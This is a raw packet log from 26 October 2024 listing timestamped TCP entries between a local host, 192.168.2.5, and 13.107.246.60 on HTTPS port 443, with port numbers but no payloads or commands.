Oct 26, 2024 13:49:25.823810101 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.823821068 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.897195101 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.897939920 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.898006916 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.898088932 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.898102999 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.898133993 CEST	49892	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.898139000 CEST	443	49892	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.901221037 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.901267052 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.901335001 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.901530027 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.901541948 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.952903986 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.952990055 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.953119993 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.953238010 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.953260899 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.953272104 CEST	49893	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.953278065 CEST	443	49893	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.956439972 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.956475019 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:25.956540108 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.956743002 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:25.956756115 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.245726109 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.246283054 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.246294975 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.246747971 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.246752977 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.377648115 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.377724886 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.377784967 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.377983093 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.377994061 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.378005028 CEST	49894	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.378010035 CEST	443	49894	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.380980015 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.381015062 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.381100893 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.381216049 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.381228924 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.441169024 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.441597939 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.441627979 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.442193031 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.442198992 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.497334003 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.497839928 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.497867107 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.498305082 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.498311996 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.572467089 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.572537899 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.572598934 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.572633028 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.572655916 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.572701931 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.572907925 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.572907925 CEST	49895	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.572923899 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.572932005 CEST	443	49895	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.575870991 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.575969934 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.576091051 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.576293945 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.576318026 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.628335953 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.628397942 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.628478050 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.628767014 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.628809929 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.628844023 CEST	49896	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.628861904 CEST	443	49896	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.631809950 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.631850004 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.631998062 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.632225037 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.632245064 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.653779030 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.654306889 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.654336929 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.654764891 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.654772043 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.677727938 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.678365946 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.678388119 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.678802967 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.678807974 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.788501024 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.788533926 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.788584948 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.788636923 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.807480097 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.807580948 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.807955980 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.815041065 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.815041065 CEST	49897	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.815068960 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.815080881 CEST	443	49897	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.847433090 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.847502947 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.847543001 CEST	49898	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.847560883 CEST	443	49898	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.905185938 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.905302048 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.905397892 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.907016993 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.907072067 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.907342911 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.907351971 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.907382011 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:26.907974958 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:26.907993078 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.114228964 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.115736961 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.115751028 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.116920948 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.116925001 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.247919083 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.248034954 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.248192072 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.248517036 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.248539925 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.248585939 CEST	49899	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.248593092 CEST	443	49899	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.252114058 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.252152920 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.252304077 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.253443003 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.253460884 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.332051992 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.332866907 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.332875013 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.333699942 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.333703995 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.369971037 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.370575905 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.370592117 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.371968985 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.371973991 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.467925072 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.469209909 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.469367981 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.469494104 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.469511986 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.469523907 CEST	49900	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.469528913 CEST	443	49900	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.473121881 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.473161936 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.475732088 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.475944042 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.475958109 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.501106977 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.501132011 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.501171112 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.501234055 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.501234055 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.501526117 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.501526117 CEST	49901	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.501547098 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.501557112 CEST	443	49901	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.505248070 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.505281925 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.505767107 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.506067991 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.506079912 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.636931896 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.637707949 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.637734890 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.638668060 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.638673067 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.648896933 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.650166988 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.650187969 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.651261091 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.651267052 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.770276070 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.770349026 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.770539999 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.770647049 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.770665884 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.770679951 CEST	49902	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.770685911 CEST	443	49902	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.774687052 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.774729013 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.774800062 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.774983883 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.774995089 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.781856060 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.781922102 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.781994104 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.782074928 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.782097101 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.782109022 CEST	49903	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.782114029 CEST	443	49903	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.784693003 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.784717083 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:27.784769058 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.784913063 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:27.784921885 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.008215904 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.008760929 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.008779049 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.009234905 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.009239912 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.141766071 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.141849041 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.141908884 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.145833969 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.145859957 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.145873070 CEST	49904	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.145879030 CEST	443	49904	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.161772966 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.161808968 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.161887884 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.162332058 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.162343025 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.224072933 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.224570990 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.224596977 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.225039005 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.225059986 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.235505104 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.235999107 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.236021996 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.236465931 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.236474037 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.357033014 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.357068062 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.357120037 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.357129097 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.357176065 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.357733965 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.357757092 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.357770920 CEST	49905	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.357777119 CEST	443	49905	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.361751080 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.361789942 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.362263918 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.362827063 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.362838984 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.365581036 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.365647078 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.365710974 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.366071939 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.366089106 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.366125107 CEST	49906	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.366132021 CEST	443	49906	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.373440981 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.373538971 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.373629093 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.373859882 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.373888016 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.514770985 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.515662909 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.515688896 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.516709089 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.516724110 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.525259018 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.526957035 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.526981115 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.528429031 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.528436899 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.647933960 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.648005009 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.648137093 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.648632050 CEST	49907	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.648649931 CEST	443	49907	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.655855894 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.655920982 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.655983925 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.656945944 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.657056093 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.657147884 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.658792019 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.658818007 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.658828974 CEST	49908	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.658837080 CEST	443	49908	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.660788059 CEST	49912	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.660816908 CEST	443	49912	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.665551901 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.665585995 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.665646076 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.667231083 CEST	49913	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.667251110 CEST	443	49913	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.887059927 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.887931108 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.888015985 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:28.888950109 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:28.888978958 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.015398026 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.015444994 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.015499115 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.015497923 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.015547991 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.015871048 CEST	49909	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.015893936 CEST	443	49909	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.022104025 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.022162914 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.022222042 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.022448063 CEST	49914	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.022461891 CEST	443	49914	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.103380919 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.104214907 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.104290962 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.105159998 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.105174065 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.107048988 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.107801914 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.107825041 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.109236002 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.109244108 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.241730928 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.241806030 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.241946936 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.241975069 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.242039919 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.242110014 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.242419004 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.242475033 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.242515087 CEST	49911	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.242532015 CEST	443	49911	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.246155977 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.246182919 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.246264935 CEST	49910	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.246273041 CEST	443	49910	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.251728058 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.251785994 CEST	443	49915	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:29.252079964 CEST	49915	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.254784107 CEST	49916	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:29.254832983 CEST	443	49916	13.107.246.60	192.168.2.5
